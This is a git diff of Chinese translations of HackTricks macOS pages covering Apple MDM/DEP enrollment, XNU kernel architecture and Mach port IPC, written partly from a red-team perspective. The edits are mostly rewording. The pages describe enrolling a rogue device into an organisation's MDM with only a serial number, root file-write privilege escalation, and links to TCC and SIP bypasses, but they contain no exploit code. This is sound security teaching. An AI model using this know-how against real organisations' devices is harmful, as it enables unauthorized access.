[移动设备管理](https://en.wikipedia.org/wiki/Mobile_device_management)(MDM)用于管理各种终端用户设备,如智能手机、笔记本电脑和平板电脑。特别是对于苹果的平台(iOS、macOS、tvOS),它涉及一套专门的功能、API 和实践。MDM 的操作依赖于一个兼容的 MDM 服务器,该服务器可以是商业可用的或开源的,并且必须支持 [MDM 协议](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)。关键点包括:
|
||||
|
||||
- 对设备的集中控制。
|
||||
- 依赖于遵循 MDM 协议的 MDM 服务器。
|
||||
@ -27,10 +27,10 @@
|
||||
|
||||
### **安全考虑**
|
||||
|
||||
需要注意的是,DEP 提供的简化注册虽然有利,但也可能带来安全风险。如果没有充分执行保护措施,攻击者可能利用这一简化过程在组织的 MDM 服务器上注册他们的设备,伪装成企业设备。
|
||||
需要注意的是,DEP 提供的注册便利性虽然有利,但也可能带来安全风险。如果没有充分执行保护措施,攻击者可能利用这一简化过程在组织的 MDM 服务器上注册他们的设备,伪装成企业设备。
|
||||
|
||||
> [!CAUTION]
|
||||
> **安全警报**:如果没有适当的保护措施,简化的 DEP 注册可能会允许未经授权的设备在组织的 MDM 服务器上注册。
|
||||
> **安全警报**:如果没有适当的保护措施,简化的 DEP 注册可能允许未经授权的设备在组织的 MDM 服务器上注册。
|
||||
|
||||
### 基础知识 什么是 SCEP(简单证书注册协议)?
|
||||
|
||||
@ -49,7 +49,7 @@
|
||||
### MDM
|
||||
|
||||
- APNs(**苹果服务器**)+ RESTful API(**MDM** **供应商**服务器)的组合
|
||||
- **通信**发生在 **设备** 和与 **设备管理** **产品** 相关的服务器之间
|
||||
- **通信**发生在 **设备** 和与 **设备** **管理** **产品** 相关的服务器之间
|
||||
- **命令**以 **plist 编码字典** 的形式从 MDM 发送到设备
|
||||
- 所有通信通过 **HTTPS**。MDM 服务器可以(并且通常会)进行固定。
|
||||
- 苹果向 MDM 供应商授予 **APNs 证书** 以进行身份验证
|
||||
@ -58,7 +58,7 @@
|
||||
|
||||
- **3 个 API**:1 个用于经销商,1 个用于 MDM 供应商,1 个用于设备身份(未记录):
|
||||
- 所谓的 [DEP "云服务" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)。MDM 服务器使用此 API 将 DEP 配置文件与特定设备关联。
|
||||
- [苹果授权经销商使用的 DEP API](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) 用于注册设备、检查注册状态和检查交易状态。
|
||||
- [苹果授权经销商使用的 DEP API](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html),用于注册设备、检查注册状态和检查交易状态。
|
||||
- 未记录的私有 DEP API。苹果设备使用此 API 请求其 DEP 配置文件。在 macOS 上,`cloudconfigurationd` 二进制文件负责通过此 API 进行通信。
|
||||
- 更现代且基于 **JSON**(与 plist 相比)
|
||||
- 苹果向 MDM 供应商授予 **OAuth 令牌**
|
||||
@ -75,7 +75,7 @@
|
||||
|
||||
## 序列号
|
||||
|
||||
2010 年后制造的苹果设备通常具有 **12 个字符的字母数字** 序列号,**前三个数字表示制造地点**,接下来的 **两个** 表示 **制造的年份** 和 **周数**,接下来的 **三个** 数字提供 **唯一** **标识符**,最后 **四个** 数字表示 **型号**。
|
||||
2010 年后制造的苹果设备通常具有 **12 个字符的字母数字** 序列号,**前三个数字表示制造地点**,接下来的 **两个** 表示 **制造的年份** 和 **周数**,接下来的 **三个** 数字提供一个 **唯一的** **标识符**,最后 **四个** 数字表示 **型号**。
|
||||
|
||||
{{#ref}}
|
||||
macos-serial-number.md
|
||||
@ -83,8 +83,8 @@ macos-serial-number.md
|
||||
|
||||
## 注册和管理步骤
|
||||
|
||||
1. 设备记录创建(经销商,苹果):为新设备创建记录
|
||||
2. 设备记录分配(客户):将设备分配给 MDM 服务器
|
||||
1. 设备记录创建(经销商,苹果):新设备的记录被创建
|
||||
2. 设备记录分配(客户):设备被分配到一个 MDM 服务器
|
||||
3. 设备记录同步(MDM 供应商):MDM 同步设备记录并将 DEP 配置文件推送到苹果
|
||||
4. DEP 签到(设备):设备获取其 DEP 配置文件
|
||||
5. 配置文件检索(设备)
|
||||
@ -93,7 +93,7 @@ macos-serial-number.md
|
||||
|
||||
.png>)
|
||||
|
||||
文件 `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` 导出可以被视为 **注册过程的“高级步骤”** 的函数。
|
||||
文件 `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` 导出可以被视为 **高层“步骤”** 的注册过程的函数。
|
||||
|
||||
### 第 4 步:DEP 签到 - 获取激活记录
|
||||
|
||||
@ -122,7 +122,7 @@ macos-serial-number.md
|
||||
5. 发出请求
|
||||
1. POST 到 [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile),发送数据 `{ "action": "RequestProfileConfiguration", "sn": "" }`
|
||||
2. JSON 有效负载使用 Absinthe 加密(**`NACSign`**)
|
||||
3. 所有请求通过 HTTPs,使用内置根证书
|
||||
3. 所有请求通过 HTTPS,使用内置根证书
|
||||
|
||||
 (1).png>)
|
||||
|
||||
@ -144,7 +144,7 @@ macos-serial-number.md
|
||||
- 使用 **设备身份证书(来自 APNS)** 签名
|
||||
- **证书链** 包括过期的 **Apple iPhone Device CA**
|
||||
|
||||
 (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
|
||||
 (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
|
||||
|
||||
### 第 6 步:配置文件安装
|
||||
|
||||
@ -168,8 +168,8 @@ macos-serial-number.md
|
||||
- 安装 MDM 有效负载相当于文档中的 **MDM 签到**
|
||||
- 有效负载 **包含关键属性**:
|
||||
- - MDM 签到 URL(**`CheckInURL`**)
|
||||
- MDM 命令轮询 URL(**`ServerURL`**) + APNs 主题以触发它
|
||||
- 要安装 MDM 有效负载,请请求发送到 **`CheckInURL`**
|
||||
- MDM 命令轮询 URL(**`ServerURL`**) + 触发它的 APNs 主题
|
||||
- 要安装 MDM 有效负载,请向 **`CheckInURL`** 发送请求
|
||||
- 在 **`mdmclient`** 中实现
|
||||
- MDM 有效负载可以依赖于其他有效负载
|
||||
- 允许 **请求固定到特定证书**:
|
||||
@ -184,7 +184,7 @@ macos-serial-number.md
|
||||
|
||||
- 在 MDM 签到完成后,供应商可以 **使用 APNs 发布推送通知**
|
||||
- 收到后,由 **`mdmclient`** 处理
|
||||
- 要轮询 MDM 命令,请请求发送到 ServerURL
|
||||
- 要轮询 MDM 命令,请向 ServerURL 发送请求
|
||||
- 利用先前安装的 MDM 有效负载:
|
||||
- **`ServerURLPinningCertificateUUIDs`** 用于固定请求
|
||||
- **`IdentityCertificateUUID`** 用于 TLS 客户端证书
|
||||
@ -193,8 +193,8 @@ macos-serial-number.md
|
||||
|
||||
### 在其他组织中注册设备
|
||||
|
||||
如前所述,为了尝试将设备注册到一个组织 **只需要该组织的序列号**。一旦设备注册,多个组织将会在新设备上安装敏感数据:证书、应用程序、WiFi 密码、VPN 配置 [等等](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf)。\
|
||||
因此,如果注册过程没有得到正确保护,这可能成为攻击者的危险入口:
|
||||
如前所述,为了尝试将设备注册到一个组织中,**只需要该组织的序列号**。一旦设备注册,多个组织将会在新设备上安装敏感数据:证书、应用程序、WiFi 密码、VPN 配置 [等等](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf)。\
|
||||
因此,如果注册过程没有得到正确保护,这可能成为攻击者的一个危险入口:
|
||||
|
||||
{{#ref}}
|
||||
enrolling-devices-in-other-organisations.md
|
||||
|
||||
@ -4,57 +4,65 @@
|
||||
|
||||
## 基础 MacOS
|
||||
|
||||
如果您对 macOS 不熟悉,您应该开始学习 macOS 的基础知识:
|
||||
如果你对 macOS 不熟悉,你应该开始学习 macOS 的基础知识:
|
||||
|
||||
- 特殊的 macOS **文件与权限:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
macos-files-folders-and-binaries/
|
||||
{{#endref}}
|
||||
|
||||
- 常见的 macOS **用户**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
macos-users.md
|
||||
{{#endref}}
|
||||
|
||||
- **AppleFS**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
macos-applefs.md
|
||||
{{#endref}}
|
||||
|
||||
- k**ernel** 的 **架构**
|
||||
- **内核**的 **架构**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
mac-os-architecture/
|
||||
{{#endref}}
|
||||
|
||||
- 常见的 macOS n**etwork services & protocols**
|
||||
- 常见的 macOS n**网络服务与协议**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
macos-protocols.md
|
||||
{{#endref}}
|
||||
|
||||
- **开源** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
|
||||
- 要下载 `tar.gz`,将 URL 更改为 [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
|
||||
- 要下载 `tar.gz`,将 URL 更改为 [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) 到 [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
|
||||
|
||||
### MacOS MDM
|
||||
|
||||
在公司中,**macOS** 系统很可能会被 **MDM 管理**。因此,从攻击者的角度来看,了解 **其工作原理** 是很有趣的:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../macos-red-teaming/macos-mdm/
|
||||
{{#endref}}
|
||||
|
||||
### MacOS - 检查、调试和模糊测试
|
||||
|
||||
|
||||
{{#ref}}
|
||||
macos-apps-inspecting-debugging-and-fuzzing/
|
||||
{{#endref}}
|
||||
|
||||
## MacOS 安全保护
|
||||
|
||||
|
||||
{{#ref}}
|
||||
macos-security-protections/
|
||||
{{#endref}}
|
||||
@ -66,15 +74,16 @@ macos-security-protections/
|
||||
如果 **以 root 身份运行的进程写入** 一个可以被用户控制的文件,用户可能会利用这一点来 **提升权限**。\
|
||||
这可能发生在以下情况下:
|
||||
|
||||
- 使用的文件已经由用户创建(属于用户)
|
||||
- 使用的文件已经由用户创建(由用户拥有)
|
||||
- 使用的文件因组而可被用户写入
|
||||
- 使用的文件位于用户拥有的目录中(用户可以创建该文件)
|
||||
- 使用的文件位于 root 拥有的目录中,但用户因组而对其具有写入权限(用户可以创建该文件)
|
||||
- 使用的文件位于 root 拥有的目录中,但用户因组而具有写入权限(用户可以创建该文件)
|
||||
|
||||
能够 **创建一个将被 root 使用的文件**,允许用户 **利用其内容**,甚至创建 **符号链接/硬链接** 指向另一个位置。
|
||||
能够 **创建一个将被 root 使用的文件**,允许用户 **利用其内容**,甚至创建 **符号链接/硬链接** 指向另一个地方。
|
||||
|
||||
对于这种漏洞,不要忘记 **检查易受攻击的 `.pkg` 安装程序**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
macos-files-folders-and-binaries/macos-installers-abuse.md
|
||||
{{#endref}}
|
||||
@ -83,6 +92,7 @@ macos-files-folders-and-binaries/macos-installers-abuse.md
|
||||
|
||||
通过文件扩展名注册的奇怪应用程序可能会被滥用,不同的应用程序可以注册以打开特定协议
|
||||
|
||||
|
||||
{{#ref}}
|
||||
macos-file-extension-apps.md
|
||||
{{#endref}}
|
||||
@ -93,13 +103,14 @@ macos-file-extension-apps.md
|
||||
|
||||
因此,想要成功攻陷 macOS 机器的攻击者需要 **提升其 TCC 权限**(甚至 **绕过 SIP**,具体取决于其需求)。
|
||||
|
||||
这些权限通常以 **应用程序签名的授权** 形式授予,或者应用程序可能请求某些访问权限,在 **用户批准后**,它们可以在 **TCC 数据库** 中找到。进程获得这些权限的另一种方式是成为具有这些 **权限** 的进程的 **子进程**,因为它们通常是 **继承的**。
|
||||
这些权限通常以 **应用程序签名的权利** 形式授予,或者应用程序可能请求某些访问权限,在 **用户批准后**,它们可以在 **TCC 数据库** 中找到。进程获得这些权限的另一种方式是成为具有这些 **权限** 的进程的 **子进程**,因为它们通常是 **继承的**。
|
||||
|
||||
请访问这些链接以找到不同的方式 [**提升 TCC 中的权限**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses),以 [**绕过 TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) 以及过去 [**如何绕过 SIP**](macos-security-protections/macos-sip.md#sip-bypasses)。
|
||||
请访问这些链接以找到不同的方式 [**在 TCC 中提升权限**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses),以 [**绕过 TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) 和过去 [**如何绕过 SIP**](macos-security-protections/macos-sip.md#sip-bypasses)。
|
||||
|
||||
## macOS 传统权限提升
|
||||
|
||||
当然,从红队的角度来看,您也应该对提升到 root 感兴趣。查看以下帖子以获取一些提示:
|
||||
当然,从红队的角度来看,你也应该对提升到 root 感兴趣。查看以下帖子以获取一些提示:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
macos-privilege-escalation.md
|
||||
|
||||
@ -4,21 +4,21 @@
|
||||
|
||||
## XNU 内核
|
||||
|
||||
**macOS 的核心是 XNU**,代表“X is Not Unix”。这个内核基本上由 **Mach 微内核**(稍后讨论)和来自伯克利软件分发(**BSD**)的元素组成。XNU 还通过一个名为 I/O Kit 的系统提供 **内核驱动程序的平台**。XNU 内核是 Darwin 开源项目的一部分,这意味着 **其源代码是公开可获取的**。
|
||||
macOS 的 **核心是 XNU**,代表“X is Not Unix”。这个内核基本上由 **Mach 微内核**(稍后讨论)和来自伯克利软件分发(**BSD**)的元素组成。XNU 还通过一个名为 I/O Kit 的系统提供 **内核驱动程序的平台**。XNU 内核是 Darwin 开源项目的一部分,这意味着 **其源代码是公开可获取的**。
|
||||
|
||||
从安全研究人员或 Unix 开发者的角度来看,**macOS** 感觉与 **FreeBSD** 系统非常 **相似**,具有优雅的 GUI 和一系列自定义应用程序。大多数为 BSD 开发的应用程序可以在 macOS 上编译和运行,而无需修改,因为 Unix 用户熟悉的命令行工具在 macOS 中都存在。然而,由于 XNU 内核包含 Mach,因此传统 Unix 类系统与 macOS 之间存在一些显著差异,这些差异可能导致潜在问题或提供独特优势。
|
||||
从安全研究人员或 Unix 开发者的角度来看,**macOS** 感觉与 **FreeBSD** 系统非常 **相似**,具有优雅的 GUI 和一系列自定义应用程序。大多数为 BSD 开发的应用程序可以在 macOS 上编译和运行,而无需修改,因为熟悉 Unix 用户的命令行工具在 macOS 中都存在。然而,由于 XNU 内核结合了 Mach,传统 Unix 类系统与 macOS 之间存在一些显著差异,这些差异可能导致潜在问题或提供独特优势。
|
||||
|
||||
XNU 的开源版本:[https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
|
||||
|
||||
### Mach
|
||||
|
||||
Mach 是一个 **微内核**,旨在 **与 UNIX 兼容**。其一个关键设计原则是 **最小化** 在 **内核** 空间中运行的 **代码** 数量,而允许许多典型的内核功能,如文件系统、网络和 I/O,**作为用户级任务运行**。
|
||||
Mach 是一个 **微内核**,旨在 **与 UNIX 兼容**。其一个关键设计原则是 **最小化** 在 **内核** 空间中运行的 **代码**,而允许许多典型的内核功能,如文件系统、网络和 I/O,作为 **用户级任务** 运行。
|
||||
|
||||
在 XNU 中,Mach 负责内核通常处理的许多关键低级操作,如处理器调度、多任务处理和虚拟内存管理。
|
||||
|
||||
### BSD
|
||||
|
||||
XNU **内核** 还 **包含** 大量来自 **FreeBSD** 项目的代码。这些代码 **与 Mach 一起作为内核的一部分运行**,在同一地址空间中。然而,XNU 中的 FreeBSD 代码可能与原始 FreeBSD 代码有显著不同,因为需要进行修改以确保其与 Mach 的兼容性。FreeBSD 为许多内核操作做出贡献,包括:
|
||||
XNU **内核** 还 **包含** 大量来自 **FreeBSD** 项目的代码。这些代码 **与 Mach 一起在内核中运行**,在同一地址空间中。然而,XNU 中的 FreeBSD 代码可能与原始 FreeBSD 代码有显著不同,因为需要进行修改以确保其与 Mach 的兼容性。FreeBSD 贡献了许多内核操作,包括:
|
||||
|
||||
- 进程管理
|
||||
- 信号处理
|
||||
@ -27,7 +27,7 @@ XNU **内核** 还 **包含** 大量来自 **FreeBSD** 项目的代码。这些
|
||||
- TCP/IP 堆栈和套接字
|
||||
- 防火墙和数据包过滤
|
||||
|
||||
由于 BSD 和 Mach 之间的不同概念框架,理解它们之间的交互可能很复杂。例如,BSD 将进程作为其基本执行单元,而 Mach 基于线程操作。这种差异在 XNU 中通过 **将每个 BSD 进程与一个包含恰好一个 Mach 线程的 Mach 任务关联** 来调和。当使用 BSD 的 fork() 系统调用时,内核中的 BSD 代码使用 Mach 函数来创建任务和线程结构。
|
||||
由于 BSD 和 Mach 之间的不同概念框架,理解它们之间的交互可能很复杂。例如,BSD 使用进程作为其基本执行单元,而 Mach 基于线程操作。这种差异在 XNU 中通过 **将每个 BSD 进程与一个包含恰好一个 Mach 线程的 Mach 任务关联** 来调和。当使用 BSD 的 fork() 系统调用时,内核中的 BSD 代码使用 Mach 函数来创建任务和线程结构。
|
||||
|
||||
此外,**Mach 和 BSD 各自维护不同的安全模型**:**Mach 的** 安全模型基于 **端口权限**,而 BSD 的安全模型基于 **进程所有权**。这两种模型之间的差异偶尔会导致本地特权提升漏洞。除了典型的系统调用外,还有 **Mach 陷阱,允许用户空间程序与内核交互**。这些不同的元素共同构成了 macOS 内核的多面性混合架构。
|
||||
|
||||
@ -47,7 +47,7 @@ macos-iokit.md
|
||||
|
||||
## macOS 内核扩展
|
||||
|
||||
由于代码将以高权限运行,macOS 对加载内核扩展(.kext)**非常严格**。实际上,默认情况下几乎不可能(除非找到绕过方法)。
|
||||
macOS 对加载内核扩展(.kext)**非常严格**,因为代码将以高权限运行。实际上,默认情况下几乎不可能(除非找到绕过方法)。
|
||||
|
||||
在以下页面中,您还可以看到如何恢复 macOS 在其 **kernelcache** 中加载的 `.kext`:
|
||||
|
||||
|
||||
@ -2,31 +2,31 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Mach 消息通过端口
|
||||
## Mach 通过端口进行消息传递
|
||||
|
||||
### 基本信息
|
||||
|
||||
Mach 使用 **任务** 作为共享资源的 **最小单位**,每个任务可以包含 **多个线程**。这些 **任务和线程与 POSIX 进程和线程 1:1 映射**。
|
||||
|
||||
任务之间的通信通过 Mach 进程间通信 (IPC) 进行,利用单向通信通道。**消息在端口之间传输**,端口像是由内核管理的 **消息队列**。
|
||||
任务之间的通信通过 Mach 进程间通信 (IPC) 进行,利用单向通信通道。**消息在端口之间传输**,这些端口像是由内核管理的 **消息队列**。
|
||||
|
||||
每个进程都有一个 **IPC 表**,可以在其中找到 **进程的 mach 端口**。mach 端口的名称实际上是一个数字(指向内核对象的指针)。
|
||||
每个进程都有一个 **IPC 表**,在其中可以找到 **进程的 mach 端口**。mach 端口的名称实际上是一个数字(指向内核对象的指针)。
|
||||
|
||||
一个进程还可以将端口名称和一些权限 **发送到不同的任务**,内核会在 **另一个任务的 IPC 表** 中显示此条目。
|
||||
一个进程还可以将一个端口名称和一些权限 **发送给不同的任务**,内核会在 **另一个任务的 IPC 表** 中显示这个条目。
|
||||
|
||||
### 端口权限
|
||||
|
||||
端口权限定义了任务可以执行的操作,是这种通信的关键。可能的 **端口权限** 是 ([定义来自这里](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
- **接收权限**,允许接收发送到端口的消息。Mach 端口是 MPSC(多个生产者,单个消费者)队列,这意味着在整个系统中每个端口只能有 **一个接收权限**(与管道不同,多个进程可以持有一个管道的读端文件描述符)。
|
||||
- 拥有 **接收权限** 的 **任务** 可以接收消息并 **创建发送权限**,允许其发送消息。最初只有 **自己的任务对其端口拥有接收权限**。
|
||||
- 拥有 **接收权限** 的任务可以接收消息并 **创建发送权限**,允许其发送消息。最初只有 **自己的任务对其端口拥有接收权限**。
|
||||
- **发送权限**,允许向端口发送消息。
|
||||
- 发送权限可以被 **克隆**,因此拥有发送权限的任务可以克隆该权限并 **授予给第三个任务**。
|
||||
- **一次性发送权限**,允许向端口发送一条消息,然后消失。
|
||||
- **端口集权限**,表示一个 _端口集_ 而不是单个端口。从端口集中出队一条消息会从其包含的一个端口中出队一条消息。端口集可以用于同时监听多个端口,类似于 Unix 中的 `select`/`poll`/`epoll`/`kqueue`。
|
||||
- **死名称**,这不是一个实际的端口权限,而仅仅是一个占位符。当一个端口被销毁时,所有现有的对该端口的端口权限变成死名称。
|
||||
- **死名称**,这不是一个实际的端口权限,而只是一个占位符。当一个端口被销毁时,所有现有的对该端口的端口权限变成死名称。
|
||||
|
||||
**任务可以将发送权限转移给其他任务**,使其能够发送消息。**发送权限也可以被克隆,因此一个任务可以复制并将权限授予第三个任务**。这与一个称为 **引导服务器** 的中介进程结合,使任务之间的有效通信成为可能。
|
||||
**任务可以将发送权限转移给其他任务**,使其能够发送消息。**发送权限也可以被克隆,因此一个任务可以复制并将权限授予第三个任务**。这与一个称为 **引导服务器** 的中介进程结合,允许任务之间进行有效的通信。
|
||||
|
||||
### 文件端口
|
||||
|
||||
@ -39,7 +39,7 @@ Mach 使用 **任务** 作为共享资源的 **最小单位**,每个任务可
|
||||
如前所述,为了建立通信通道,**引导服务器**(在 mac 中为 **launchd**)参与其中。
|
||||
|
||||
1. 任务 **A** 发起一个 **新端口**,在此过程中获得 **接收权限**。
|
||||
2. 任务 **A** 作为接收权限的持有者,**为该端口生成一个发送权限**。
|
||||
2. 任务 **A**,作为接收权限的持有者,**为该端口生成一个发送权限**。
|
||||
3. 任务 **A** 与 **引导服务器** 建立 **连接**,提供 **端口的服务名称** 和 **发送权限**,通过称为引导注册的过程。
|
||||
4. 任务 **B** 与 **引导服务器** 交互以执行服务名称的引导 **查找**。如果成功,**服务器复制从任务 A 接收到的发送权限** 并 **将其传输给任务 B**。
|
||||
5. 在获得发送权限后,任务 **B** 能够 **构造** 一条 **消息** 并将其 **发送给任务 A**。
|
||||
@ -47,13 +47,13 @@ Mach 使用 **任务** 作为共享资源的 **最小单位**,每个任务可
|
||||
|
||||
引导服务器 **无法验证** 任务声称的服务名称。这意味着一个 **任务** 可能会 **冒充任何系统任务**,例如虚假 **声称一个授权服务名称** 然后批准每个请求。
|
||||
|
||||
然后,Apple 将 **系统提供的服务名称** 存储在安全配置文件中,位于 **SIP 保护** 目录:`/System/Library/LaunchDaemons` 和 `/System/Library/LaunchAgents`。每个服务名称旁边,**相关的二进制文件也被存储**。引导服务器将为每个这些服务名称创建并持有 **接收权限**。
|
||||
然后,Apple 将 **系统提供的服务名称** 存储在安全配置文件中,位于 **SIP 保护** 的目录中:`/System/Library/LaunchDaemons` 和 `/System/Library/LaunchAgents`。每个服务名称旁边,**相关的二进制文件也被存储**。引导服务器将为每个这些服务名称创建并持有一个 **接收权限**。
|
||||
|
||||
对于这些预定义服务,**查找过程略有不同**。当查找服务名称时,launchd 动态启动该服务。新的工作流程如下:
|
||||
对于这些预定义的服务,**查找过程略有不同**。当查找服务名称时,launchd 动态启动该服务。新的工作流程如下:
|
||||
|
||||
- 任务 **B** 发起对服务名称的引导 **查找**。
|
||||
- **launchd** 检查任务是否正在运行,如果没有,则 **启动** 它。
|
||||
- 任务 **A**(服务)执行 **引导签到**。在这里,**引导** 服务器创建一个发送权限,保留它,并 **将接收权限转移给任务 A**。
|
||||
- 任务 **A**(服务)执行 **引导检查**。在这里,**引导** 服务器创建一个发送权限,保留它,并 **将接收权限转移给任务 A**。
|
||||
- launchd 复制 **发送权限并将其发送给任务 B**。
|
||||
- 任务 **B** 生成一个带有 **接收** 权限和 **发送** 权限的新端口,并将 **发送权限授予任务 A**(服务),以便其可以向任务 B 发送消息(双向通信)。
|
||||
|
||||
@ -63,7 +63,7 @@ Mach 使用 **任务** 作为共享资源的 **最小单位**,每个任务可
|
||||
|
||||
[在这里找到更多信息](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
`mach_msg` 函数,基本上是一个系统调用,用于发送和接收 Mach 消息。该函数要求将要发送的消息作为初始参数。此消息必须以 `mach_msg_header_t` 结构开始,后面跟着实际的消息内容。该结构定义如下:
|
||||
`mach_msg` 函数,实质上是一个系统调用,用于发送和接收 Mach 消息。该函数要求将要发送的消息作为初始参数。该消息必须以 `mach_msg_header_t` 结构开始,后面跟着实际的消息内容。该结构定义如下:
|
||||
```c
|
||||
typedef struct {
|
||||
mach_msg_bits_t msgh_bits;
|
||||
@ -74,28 +74,28 @@ mach_port_name_t msgh_voucher_port;
|
||||
mach_msg_id_t msgh_id;
|
||||
} mach_msg_header_t;
|
||||
```
|
||||
拥有 _**接收权**_ 的进程可以在 Mach 端口上接收消息。相反,**发送者** 被授予 _**发送**_ 或 _**一次性发送权**_。一次性发送权仅用于发送单个消息,之后它将失效。
|
||||
进程拥有 _**接收权**_ 可以在 Mach 端口上接收消息。相反,**发送者** 被授予 _**发送**_ 或 _**一次性发送权**_。一次性发送权仅用于发送单个消息,之后将失效。
|
||||
|
||||
为了实现简单的 **双向通信**,进程可以在名为 _reply port_ (**`msgh_local_port`**) 的 mach **消息头**中指定一个 **mach 端口**,接收该消息的 **接收者** 可以 **回复** 此消息。**`msgh_bits`** 中的位标志可以用来 **指示** 应该为此端口派生并转移一个 **一次性发送** **权**(`MACH_MSG_TYPE_MAKE_SEND_ONCE`)。
|
||||
为了实现简单的 **双向通信**,进程可以在 Mach **消息头** 中指定一个 **mach 端口**,称为 _回复端口_ (**`msgh_local_port`**),消息的 **接收者** 可以 **回复** 此消息。**`msgh_bits`** 中的位标志可用于 **指示** 应该为此端口派生并转移一个 **一次性发送** **权**(`MACH_MSG_TYPE_MAKE_SEND_ONCE`)。
|
||||
|
||||
> [!TIP]
|
||||
> 请注意,这种双向通信用于期望回复的 XPC 消息(`xpc_connection_send_message_with_reply` 和 `xpc_connection_send_message_with_reply_sync`)。但 **通常会创建不同的端口**,如前所述,以创建双向通信。
|
||||
|
||||
消息头的其他字段包括:
|
||||
|
||||
- `msgh_size`: 整个数据包的大小。
|
||||
- `msgh_remote_port`: 发送此消息的端口。
|
||||
- `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach_vouchers.html)。
|
||||
- `msgh_id`: 此消息的 ID,由接收者解释。
|
||||
- `msgh_size`:整个数据包的大小。
|
||||
- `msgh_remote_port`:发送此消息的端口。
|
||||
- `msgh_voucher_port`:[mach 代金券](https://robert.sesek.com/2023/6/mach_vouchers.html)。
|
||||
- `msgh_id`:此消息的 ID,由接收者解释。
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意 **mach 消息是通过 \_mach port**\_ 发送的,这是一个内置于 mach 内核的 **单接收者**、**多个发送者** 的通信通道。**多个进程** 可以 **向 mach 端口发送消息**,但在任何时候只有 **一个进程可以从中读取**。
|
||||
> 请注意 **mach 消息是通过 \_mach 端口**\_ 发送的,这是一个内置于 mach 内核的 **单接收者**,**多个发送者** 通信通道。**多个进程** 可以 **向 mach 端口发送消息**,但在任何时候只有 **一个进程可以从中读取**。
|
||||
|
||||
### 枚举端口
|
||||
```bash
|
||||
lsmp -p <pid>
|
||||
```
|
||||
您可以通过从 [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) 下载此工具来安装它在 iOS 上。
|
||||
您可以通过从 [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) 下载该工具来在 iOS 上安装它。
|
||||
|
||||
### 代码示例
|
||||
|
||||
@ -227,20 +227,21 @@ printf("Sent a message\n");
|
||||
|
||||
### 特权端口
|
||||
|
||||
- **主机端口**:如果一个进程对这个端口具有 **发送** 权限,他可以获取 **系统** 的 **信息**(例如 `host_processor_info`)。
|
||||
- **主机特权端口**:一个对这个端口具有 **发送** 权限的进程可以执行 **特权操作**,如加载内核扩展。**进程需要是 root** 才能获得此权限。
|
||||
- 此外,为了调用 **`kext_request`** API,需要拥有其他权限 **`com.apple.private.kext*`**,这些权限仅授予 Apple 的二进制文件。
|
||||
- **任务名称端口**:_任务端口_ 的一个非特权版本。它引用任务,但不允许控制它。通过它似乎唯一可用的功能是 `task_info()`。
|
||||
- **主机端口**:如果一个进程对这个端口具有**发送**权限,他可以获取**系统**的**信息**(例如 `host_processor_info`)。
|
||||
- **主机特权端口**:一个对这个端口具有**发送**权限的进程可以执行**特权操作**,如加载内核扩展。**进程需要是root**才能获得此权限。
|
||||
- 此外,为了调用**`kext_request`** API,需要拥有其他权利**`com.apple.private.kext*`**,这些权利仅授予Apple二进制文件。
|
||||
- **任务名称端口**:_任务端口_的一个非特权版本。它引用任务,但不允许控制它。通过它似乎唯一可用的功能是 `task_info()`。
|
||||
- **任务端口**(又名内核端口):对这个端口具有发送权限可以控制任务(读/写内存,创建线程...)。
|
||||
